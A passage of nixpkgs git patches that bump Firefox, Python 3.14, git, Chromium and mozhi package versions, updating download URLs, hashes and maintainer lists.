-      sha256 = "3f62f4a0dfbd706abefd8f96e2d9c5c3075e27506379e593c1aceeee2e97f056";
+      sha256 = "181c49b5d8c02e3909bd4f2061efb8ef3cb9ec55e9ff63403211e32be3130e55";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/ms/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/ms/Firefox%20140.0.4.dmg";
       locale = "ms";
       arch = "mac";
-      sha256 = "b873c56548b4d7d5a5d4c39b8ed6569b72be8d7906cb4d06505fe4dcfa2da1a9";
+      sha256 = "17f855ce25ef1ac92944fb14b16d7ffb5fb679e03b7bfc37e6cab025fca35b22";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/my/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/my/Firefox%20140.0.4.dmg";
       locale = "my";
       arch = "mac";
-      sha256 = "cf5980c02043dd9c24ad751f2d2ec58265e48389e57738e1889635bf6e760952";
+      sha256 = "cff7f16757123113d39b8fb5a56ab77757fe9d90e1f5ba62f12ec9ea6f29b3a2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/nb-NO/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/nb-NO/Firefox%20140.0.4.dmg";
       locale = "nb-NO";
       arch = "mac";
-      sha256 = "1a550cbfa265e463d24937c6f43b919365444d9bc80c87b00fdb3e5d9d3e2dc5";
+      sha256 = "8d76da8da930c484a4f2f78be4679688cc29ca44f8a6b991df385399eefa85c1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/ne-NP/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/ne-NP/Firefox%20140.0.4.dmg";
       locale = "ne-NP";
       arch = "mac";
-      sha256 = "c8341aa9a7add1d1cbc8fe5aeb68f6609225a813d9cbbe0922318d5e35990b48";
+      sha256 = "c4614af7cfbe822fe82e46a614af0882ae14110e2254d5aa06e8dff7657694cb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/nl/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/nl/Firefox%20140.0.4.dmg";
       locale = "nl";
       arch = "mac";
-      sha256 = "35b78801c12767d27d03173d4abf163a18b34400c92a54e011fa22c1fbd502f3";
+      sha256 = "e5f2094e8b3d9ca293616d962cbd1d99eef02b92dcc3b473feb0d13c292c7082";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/nn-NO/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/nn-NO/Firefox%20140.0.4.dmg";
       locale = "nn-NO";
       arch = "mac";
-      sha256 = "edcbc6f8f42b80ce8be269111341960dc0f743dc1a92c76e3eaf6620b30b4725";
+      sha256 = "c67f47d65d913bc8767df912a6d6f3e633b811f1fc0aec3545cad7b6bb7757fb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/oc/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/oc/Firefox%20140.0.4.dmg";
       locale = "oc";
       arch = "mac";
-      sha256 = "df7ccb109a92b5d73890b9c1d85022856d16e663d0aff3dbfbb83eae848b68a9";
+      sha256 = "b0a98bc8572ec911403bfe490dc504d313fcff081079c1c18c6a82e0d9eca984";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/pa-IN/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/pa-IN/Firefox%20140.0.4.dmg";
       locale = "pa-IN";
       arch = "mac";
-      sha256 = "7d47b3571c1ac08c302049995b22a89de1f202436e8ad3d1f99c5cb6887bd7e2";
+      sha256 = "1b307d5709181a0b250327d04fd9a2f127fce7e792c4a525540480d4039fbc9d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/pl/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/pl/Firefox%20140.0.4.dmg";
       locale = "pl";
       arch = "mac";
-      sha256 = "8a3c05cc3c97566a94b35696490eb69cb04fafa7e14cf8d5382d57021c72fb08";
+      sha256 = "83a51dc92c8aafea137f698eef0c7d7249d238c0d459f4d6f542f023532db44a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/pt-BR/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/pt-BR/Firefox%20140.0.4.dmg";
       locale = "pt-BR";
       arch = "mac";
-      sha256 = "2db965c8888438d753def07a8ffacdc5a409251b0c84981fa038aaa060de0bde";
+      sha256 = "62c4ca2b20346f0906d5b536aab92f661d6f88ab0222469d3212c58e9d6224f5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/pt-PT/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/pt-PT/Firefox%20140.0.4.dmg";
       locale = "pt-PT";
       arch = "mac";
-      sha256 = "dac8aab2c52fbc566f44a9a4830c01a314538c1d8a100e340bce2109636e4fb8";
+      sha256 = "fa7f410a5d63c69e6b89501f34ce96fb09e0ac78a2e787349ab2af8fa801f3a3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/rm/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/rm/Firefox%20140.0.4.dmg";
       locale = "rm";
       arch = "mac";
-      sha256 = "9f69b7b620fa1ca834ae1746ede5430443b7c647ebe345e2f16fc6eec04c32b8";
+      sha256 = "233e7a0967801897a1458d33f0e0d0e7ee3f1841d2e564a9f4c2e7f872f64710";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/ro/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/ro/Firefox%20140.0.4.dmg";
       locale = "ro";
       arch = "mac";
-      sha256 = "4ff95a794e5256ffbed21a03b1023d6952d1e382b501dd631275021941162195";
+      sha256 = "a6cb37d19d21f59bf35893661f3bf14f290a51bf78860edb555e4af46ccb2e82";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/ru/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/ru/Firefox%20140.0.4.dmg";
       locale = "ru";
       arch = "mac";
-      sha256 = "11b26b444e7dc2dc18d608eda787d9012284ebc6626452e860fddd3e91c67bd2";
+      sha256 = "bea384a03df803d4d91e7a8d6330f538a7949e66bf03b0b6db4105c1e92411ad";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/sat/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/sat/Firefox%20140.0.4.dmg";
       locale = "sat";
       arch = "mac";
-      sha256 = "d1d000ec25fa58d46cb85ce1f150ebde60ae9842225c67f914dab67ef9e9015f";
+      sha256 = "c262f58493dfd81e6691578550a2942a8f9456513e3c51ad4b3805b60e07bc4a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/sc/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/sc/Firefox%20140.0.4.dmg";
       locale = "sc";
       arch = "mac";
-      sha256 = "3198a395d6a262c3df48676b0785f90cc6c692b78ea0efeb23d49d1151f07c85";
+      sha256 = "991631ef16653fe21a34ec791da72a457c820f58ee6365b62a43aff47bf06245";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/sco/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/sco/Firefox%20140.0.4.dmg";
       locale = "sco";
       arch = "mac";
-      sha256 = "277ce0994d14407d92677d9398e6626170246919b894220cf5c6a5791d44fcb9";
+      sha256 = "2ce73609d4aeb566f702446280a7512e9107585208129ac857d29ca04fdb135c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/si/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/si/Firefox%20140.0.4.dmg";
       locale = "si";
       arch = "mac";
-      sha256 = "f461ef04aac49aee48b2315d10525d692ce1fa7d61fc10e5c343cae75ad74a6a";
+      sha256 = "6f0ab9069c5cf18ad5c4c12e2933e8304d12c492de1dd480f4b7e0393b4f0f40";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/sk/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/sk/Firefox%20140.0.4.dmg";
       locale = "sk";
       arch = "mac";
-      sha256 = "a27db1ebb4bf19d12793a8407aca4e130484547822ee867ccecb4e61c4915e44";
+      sha256 = "c6801c789af1374ffb94eed0ef9245579dc7af6205d5175d7f3795bd9a01355a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/skr/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/skr/Firefox%20140.0.4.dmg";
       locale = "skr";
       arch = "mac";
-      sha256 = "8a2899690de3a0b58a20dbb7e3775f7e9a7d7494cccacf63e9f36e40df74a418";
+      sha256 = "b776c0cf15d02f16558af2587d44cb8dfeaa4756c67363d04e61a355176f3feb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/sl/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/sl/Firefox%20140.0.4.dmg";
       locale = "sl";
       arch = "mac";
-      sha256 = "dad132f5e6406be11f20b42ddc663d226dd916a8f204d28fd6410bb10cdf2851";
+      sha256 = "cb7f05c8dd3099f7887dc6554a854281bcea7e4595e643609d67a8d72a5b6d9e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/son/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/son/Firefox%20140.0.4.dmg";
       locale = "son";
       arch = "mac";
-      sha256 = "ad7325b35f63688ec790cb495f8f730261188422f50ab3dbef82f9113a1b4e58";
+      sha256 = "fd85af5542a3dedf92870e240c39f1826a30396d15ff8c8b75a8e07d3fff2cc2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/sq/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/sq/Firefox%20140.0.4.dmg";
       locale = "sq";
       arch = "mac";
-      sha256 = "5ea4f0854edfdc16460981da4cbb5899276327e5c844ca62177b128847045cf8";
+      sha256 = "5773ffbc81b5d558ae2197a76cea792f49dd9fe48a47d2329c7cb01a6b85c9ce";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/sr/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/sr/Firefox%20140.0.4.dmg";
       locale = "sr";
       arch = "mac";
-      sha256 = "3c7ff91c5567d6514df255fe480dae0fcf0605a337a8cf73bc7abed6119a6007";
+      sha256 = "47b78c97701e7a146a42e8ca849ffb5ffe1852d4a23bb5bd702cc265b6f5736d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/sv-SE/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/sv-SE/Firefox%20140.0.4.dmg";
       locale = "sv-SE";
       arch = "mac";
-      sha256 = "aaadc713dc8f8b4c7a8175d0f62f7646059ae3d288fb14246b9577a922505226";
+      sha256 = "170936262506ad970a17d46e3d2c5fb23ebfc3d3f8b3ac3438c0f80d25870814";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/szl/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/szl/Firefox%20140.0.4.dmg";
       locale = "szl";
       arch = "mac";
-      sha256 = "d687fa834eaf76e11a8f6246d49b63e3a7a37716e3465d7b67959bba59fdaddb";
+      sha256 = "71828dcc2c4c020d9773714c0847b20c367f36d432088f267fa73d425faa5728";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/ta/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/ta/Firefox%20140.0.4.dmg";
       locale = "ta";
       arch = "mac";
-      sha256 = "bee72e67e70e61e4a56b2cab4505778965e060ae7c29a075d83974479d986554";
+      sha256 = "d8d9a5a2d78d3218119d4e6edbb602651cfa4f3918a7181eba3e8a3c41667aea";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/te/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/te/Firefox%20140.0.4.dmg";
       locale = "te";
       arch = "mac";
-      sha256 = "eab2cb53fdbafab7de48a1ce91827f7bac16448f308394378ab881dd5734aa57";
+      sha256 = "345d3ff94590419d82f9ec551ec909d80b4fc5d7fa34bc41c489849d84f04f4d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/tg/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/tg/Firefox%20140.0.4.dmg";
       locale = "tg";
       arch = "mac";
-      sha256 = "cae682c2a847c0e2df469b5f53387d3e0454894fd3b1eb89b6b5c1b0c9972be2";
+      sha256 = "07f8aad52582f034079de255d3753d4e754d8ea89f5988ed5326c5a728969617";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/th/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/th/Firefox%20140.0.4.dmg";
       locale = "th";
       arch = "mac";
-      sha256 = "35cf811242dbfb38b2369e15fe7454cce24ddfbc143346e3c0751a052d995c39";
+      sha256 = "8751a21cf8772835eb7a0da4981517dcd2607691ba46137ee89f76c2bbba3a79";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/tl/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/tl/Firefox%20140.0.4.dmg";
       locale = "tl";
       arch = "mac";
-      sha256 = "185ac69c1f1016c89967bb1d755a1d077aeb3807cd6e9a9b9d90cb4399f43178";
+      sha256 = "dade6f970bbd83d77c6ee56465bc605a539aaed2e9d69f3edb6f71637f94aab2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/tr/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/tr/Firefox%20140.0.4.dmg";
       locale = "tr";
       arch = "mac";
-      sha256 = "8771f38c75fdba62a609a6111aecc11b252f458b0ff65e8811193e1acb985398";
+      sha256 = "a2bd26e7f458938dd4ceae8a145beb1fa735081c2b99a34a843d6ec349b1703b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/trs/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/trs/Firefox%20140.0.4.dmg";
       locale = "trs";
       arch = "mac";
-      sha256 = "61c4320c6bd48d214aa4b1a8231095ecbda9f5aa6dce3cf5b9efd8270357ea3e";
+      sha256 = "0b3333f1f80ec5005266f8e1e7c5b98edde047c9cd617bf37ae0f536f4962ba2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/uk/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/uk/Firefox%20140.0.4.dmg";
       locale = "uk";
       arch = "mac";
-      sha256 = "3bf21f03952d45c44d7b5c3b1d6907a72f9aaddc1673d666e466e5bd58b7322f";
+      sha256 = "842296fa529441cc2ec1939d813649a1c05682d3eae0369b0917137fd32f5fd7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/ur/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/ur/Firefox%20140.0.4.dmg";
       locale = "ur";
       arch = "mac";
-      sha256 = "218bd2094f7d3eaf8a864c92f0bc54def3939d89c09e7a9e7d5abf65ad15f6d4";
+      sha256 = "469fa87ab6c043aca07f8c9c864b2a1370cc18c64df735cc034f146b18a0bcd3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/uz/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/uz/Firefox%20140.0.4.dmg";
       locale = "uz";
       arch = "mac";
-      sha256 = "97ac483e0b8f96378e6887bf070f5038a3dcd14500ef9f752a88b99e6d6b1318";
+      sha256 = "97e4ef0e7c28f03b9bcaecdbe5af093e5c03d4e1b845669fbac3cafa973738a3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/vi/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/vi/Firefox%20140.0.4.dmg";
       locale = "vi";
       arch = "mac";
-      sha256 = "e4b0774f97ef8146fd20c8eb42039cc67530bd5f85cf44b5b0da71899a9a9081";
+      sha256 = "727c8192e65e94dfbdf8fe506abe8d6db550bba6d559ba8923ce37031a130d68";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/xh/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/xh/Firefox%20140.0.4.dmg";
       locale = "xh";
       arch = "mac";
-      sha256 = "54e1da40dfa6b34d501ce9090bc9c5057d326d297f2c4d2d37ebf381c5c2e893";
+      sha256 = "bb6a1b92642b51a82ba0d3d8f19e01d4952a62c36add5ccb86e4c15c4bcd7b83";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/zh-CN/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/zh-CN/Firefox%20140.0.4.dmg";
       locale = "zh-CN";
       arch = "mac";
-      sha256 = "9190935d949f774068f58fd254e385480f28fa816772cb82a5f4438ed062209f";
+      sha256 = "fc739cd43d62b94132292e8fa3457da7cb65b23a7cdf19f451d4025094231ae5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/zh-TW/Firefox%20140.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/zh-TW/Firefox%20140.0.4.dmg";
       locale = "zh-TW";
       arch = "mac";
-      sha256 = "bcd1b803d8e6b92e321e4978feffe7975d4c2dad35c11736a95ae0a67fe10d2e";
+      sha256 = "3b88dc8fd0ed780c5cf8fb3c4fbaf18177bf06150c94c7ceb2a5a88f5fcd80be";
     }
   ];
 }

From c314d4fc3f6a4295e747044469fc263b678849d3 Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Tue, 8 Jul 2025 18:56:10 +0200
Subject: [PATCH 2172/4511] python314: 3.14.0b3 -> 3.14.0b4

https://docs.python.org/3.14/whatsnew/changelog.html#python-3-14-0-beta-4
(cherry picked from commit bae9fdacc37a259f446f0a6f83bbcfe257e1a404)
---
 pkgs/development/interpreters/python/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/interpreters/python/default.nix b/pkgs/development/interpreters/python/default.nix
index 17e49cd43596..94f4a7164614 100644
--- a/pkgs/development/interpreters/python/default.nix
+++ b/pkgs/development/interpreters/python/default.nix
@@ -93,9 +93,9 @@
         major = "3";
         minor = "14";
         patch = "0";
-        suffix = "b3";
+        suffix = "b4";
       };
-      hash = "sha256-xvSL9R8B9Q2HAHpEXdev5KTHqHq0glcL6STB3f0NNoI=";
+      hash = "sha256-FeEj4Far67pt5ec8+jBEWajILK+oXU/H/G3oDmo+Gzk=";
       inherit passthruFun;
     };
     # Minimal versions of Python (built without optional dependencies)

From ab8f7a0181ac15938a44b581c7bd61740126174e Mon Sep 17 00:00:00 2001
From: Adam Dinwoodie <adam@dinwoodie.org>
Date: Tue, 17 Jun 2025 12:39:58 +0100
Subject: [PATCH 2173/4511] git: 2.49.0 -> 2.50.0

This also removes adding one of the Bash Git completion scripts in the
postInstall phase, as it's now set up automatically by the upstream
installer.

Release notes: https://git.kernel.org/pub/scm/git/git.git/tree/Documentation/RelNotes/2.50.0.adoc?id=f1ca98f609f9a730b9accf24e5558a10a0b41b6c

(cherry picked from commit c3001863cb78a31f698a9f9446f044507e6e7580)
---
 pkgs/applications/version-management/git/default.nix | 5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

diff --git a/pkgs/applications/version-management/git/default.nix b/pkgs/applications/version-management/git/default.nix
index 4064b1a29c8f..b1e74aa96b58 100644
--- a/pkgs/applications/version-management/git/default.nix
+++ b/pkgs/applications/version-management/git/default.nix
@@ -60,7 +60,7 @@ assert sendEmailSupport -> perlSupport;
 assert svnSupport -> perlSupport;
 
 let
-  version = "2.49.0";
+  version = "2.50.0";
   svn = subversionClient.override { perlBindings = perlSupport; };
   gitwebPerlLibs = with perlPackages; [
     CGI
@@ -89,7 +89,7 @@ stdenv.mkDerivation (finalAttrs: {
         }.tar.xz"
       else
         "https://www.kernel.org/pub/software/scm/git/git-${version}.tar.xz";
-    hash = "sha256-YYGQz1kLfp9sEfkfI7HSZ82Yw6szuFBBbYdY+LWoVig=";
+    hash = "sha256-3/PAAOQArOOmO4pvizt2uI7P3/1FBKBKukJINyzewEU=";
   };
 
   outputs = [ "out" ] ++ lib.optional withManual "doc";
@@ -303,7 +303,6 @@ stdenv.mkDerivation (finalAttrs: {
       mkdir -p $out/share/git
       cp -a contrib $out/share/git/
       mkdir -p $out/share/bash-completion/completions
-      ln -s $out/share/git/contrib/completion/git-completion.bash $out/share/bash-completion/completions/git
       ln -s $out/share/git/contrib/completion/git-prompt.sh $out/share/bash-completion/completions/
       # only readme, developed in another repo
       rm -r contrib/hooks/multimail

From 1fac62ee84631e4225c65a7b8854c3d47d055d2a Mon Sep 17 00:00:00 2001
From: Adam Dinwoodie <adam@dinwoodie.org>
Date: Thu, 13 Feb 2025 11:36:11 +0000
Subject: [PATCH 2174/4511] git: add me-and as maintainer

(cherry picked from commit fa8a4789839b5379063bc484b39eed58984fd5b0)
---
 pkgs/applications/version-management/git/default.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/applications/version-management/git/default.nix b/pkgs/applications/version-management/git/default.nix
index b1e74aa96b58..594ea934debc 100644
--- a/pkgs/applications/version-management/git/default.nix
+++ b/pkgs/applications/version-management/git/default.nix
@@ -573,6 +573,7 @@ stdenv.mkDerivation (finalAttrs: {
       wmertens
       globin
       kashw2
+      me-and
     ];
     mainProgram = "git";
   };

From b60db5397c30b7835b60ee2fece497e1bda9b926 Mon Sep 17 00:00:00 2001
From: Adam Dinwoodie <adam@dinwoodie.org>
Date: Wed, 18 Jun 2025 16:46:12 +0100
Subject: [PATCH 2175/4511] git: add philiptaron as a maintainer

As requested at
https://github.com/NixOS/nixpkgs/pull/417515#pullrequestreview-2939689572

(cherry picked from commit b27ce01ca7a14b6863ca5535c79ae5247fe5a256)
---
 pkgs/applications/version-management/git/default.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/applications/version-management/git/default.nix b/pkgs/applications/version-management/git/default.nix
index 594ea934debc..edda33b5aa36 100644
--- a/pkgs/applications/version-management/git/default.nix
+++ b/pkgs/applications/version-management/git/default.nix
@@ -574,6 +574,7 @@ stdenv.mkDerivation (finalAttrs: {
       globin
       kashw2
       me-and
+      philiptaron
     ];
     mainProgram = "git";
   };

From a52e65b54ae11453b7c42601bdc9f4cbd9a74b00 Mon Sep 17 00:00:00 2001
From: DontEatOreo <57304299+DontEatOreo@users.noreply.github.com>
Date: Tue, 8 Jul 2025 21:29:01 +0300
Subject: [PATCH 2176/4511] git: 2.50 -> 2.50.1

Diff: https://github.com/git/git/compare/v2.50.0...v2.50.1

Security:

- CVE-2025-48384
- CVE-2025-48385
- CVE-2025-48386

(cherry picked from commit 6c00ea29367c467054680f7a603305e2c8c16321)
---
 pkgs/applications/version-management/git/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/version-management/git/default.nix b/pkgs/applications/version-management/git/default.nix
index edda33b5aa36..3e010fa59205 100644
--- a/pkgs/applications/version-management/git/default.nix
+++ b/pkgs/applications/version-management/git/default.nix
@@ -60,7 +60,7 @@ assert sendEmailSupport -> perlSupport;
 assert svnSupport -> perlSupport;
 
 let
-  version = "2.50.0";
+  version = "2.50.1";
   svn = subversionClient.override { perlBindings = perlSupport; };
   gitwebPerlLibs = with perlPackages; [
     CGI
@@ -89,7 +89,7 @@ stdenv.mkDerivation (finalAttrs: {
         }.tar.xz"
       else
         "https://www.kernel.org/pub/software/scm/git/git-${version}.tar.xz";
-    hash = "sha256-3/PAAOQArOOmO4pvizt2uI7P3/1FBKBKukJINyzewEU=";
+    hash = "sha256-fj5sNt7L2PHu3RTULbZnS+A2ccIgSGS++ipBdWxcj8Q=";
   };
 
   outputs = [ "out" ] ++ lib.optional withManual "doc";

From 5f733bba5afa0bd4a3a811f25a7fe2642c651ae1 Mon Sep 17 00:00:00 2001
From: emilylange <git@emilylange.de>
Date: Tue, 8 Jul 2025 22:22:04 +0200
Subject: [PATCH 2177/4511] chromium,chromedriver: 138.0.7204.92 ->
 138.0.7204.100

https://chromereleases.googleblog.com/2025/07/stable-channel-update-for-desktop.html
(cherry picked from commit f977af9bcb96cdd6c3f75713cad8b1cd36a40974)
---
 .../networking/browsers/chromium/info.json       | 16 ++++++++--------
 1 file changed, 8 insertions(+), 8 deletions(-)

diff --git a/pkgs/applications/networking/browsers/chromium/info.json b/pkgs/applications/networking/browsers/chromium/info.json
index 7f6ee37d61a7..9efb34dec8fd 100644
--- a/pkgs/applications/networking/browsers/chromium/info.json
+++ b/pkgs/applications/networking/browsers/chromium/info.json
@@ -1,10 +1,10 @@
 {
   "chromium": {
-    "version": "138.0.7204.92",
+    "version": "138.0.7204.100",
     "chromedriver": {
-      "version": "138.0.7204.93",
-      "hash_darwin": "sha256-Fo5N9rAgHSSnYxrcWMHRezLh8DKi+etZQNjwUKJn7dI=",
-      "hash_darwin_aarch64": "sha256-A46qZtWNli5IuR043RzrEQlNIyeddkyU+5/UJgg5SgU="
+      "version": "138.0.7204.101",
+      "hash_darwin": "sha256-ow+R2jcfm5tryB6UfnUNklVfLGc2Tzj2W6Nul6pRglI=",
+      "hash_darwin_aarch64": "sha256-GGcDoSkH8Z4N8yOL77nNMtz3BY4lNwlD10SPhEBRpJI="
     },
     "deps": {
       "depot_tools": {
@@ -20,8 +20,8 @@
     "DEPS": {
       "src": {
         "url": "https://chromium.googlesource.com/chromium/src.git",
-        "rev": "f079b9bc781e3c2adb1496ea1d72812deb0ddb3d",
-        "hash": "sha256-OiDdGapC/sjDZXItnFcCvOtA7TKzeHPK4EsYFMCMQJs=",
+        "rev": "5f45b4744e3d5ba82c2ca6d942f1e7a516110752",
+        "hash": "sha256-bI75IXPl6YeauK2oTnUURh1ch1H7KKw/QzKYZ/q6htI=",
         "recompress": true
       },
       "src/third_party/clang-format/script": {
@@ -246,8 +246,8 @@
       },
       "src/third_party/devtools-frontend/src": {
         "url": "https://chromium.googlesource.com/devtools/devtools-frontend",
-        "rev": "f8dfe8b36e516cef8a5a169e88d16480d8abdc68",
-        "hash": "sha256-7ygnGBAeiLxwbTx5s7LRs9+ZOe06tr8VFcSY5cVHnS4="
+        "rev": "a6dbe06dafbad00ef4b0ea139ece1a94a5e2e6d8",
+        "hash": "sha256-XkyJFRxo3ZTBGfKdTwSIo14SLNPQAKQvY4lEX03j6LM="
       },
       "src/third_party/dom_distiller_js/dist": {
         "url": "https://chromium.googlesource.com/chromium/dom-distiller/dist.git",

From f829148dd4d5f21eb907b3389dd6706d655105fe Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Tue, 8 Jul 2025 21:43:44 +0000
Subject: [PATCH 2178/4511] mozhi: 0-unstable-2025-04-14 ->
 0-unstable-2025-06-25

(cherry picked from commit 95691ef8cb6772fb5df9377b5b3289fa3af05a91)
---
 pkgs/by-name/mo/mozhi/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/mo/mozhi/package.nix b/pkgs/by-name/mo/mozhi/package.nix
index 0f5fdeb998aa..b508c829a342 100644
--- a/pkgs/by-name/mo/mozhi/package.nix
+++ b/pkgs/by-name/mo/mozhi/package.nix
@@ -6,14 +6,14 @@
 }:
 buildGoModule {
   pname = "mozhi";
-  version = "0-unstable-2025-04-14";
+  version = "0-unstable-2025-06-25";
 
   src = fetchFromGitea {
     domain = "codeberg.org";
     owner = "aryak";
     repo = "mozhi";
-    rev = "c2c14988c09e6c5fae5a8ac59c07a650f0997a5a";
-    hash = "sha256-xJw9BkdKlN1VToKyDlkW8UUZB94gzD9nclNciDmVIkk=";
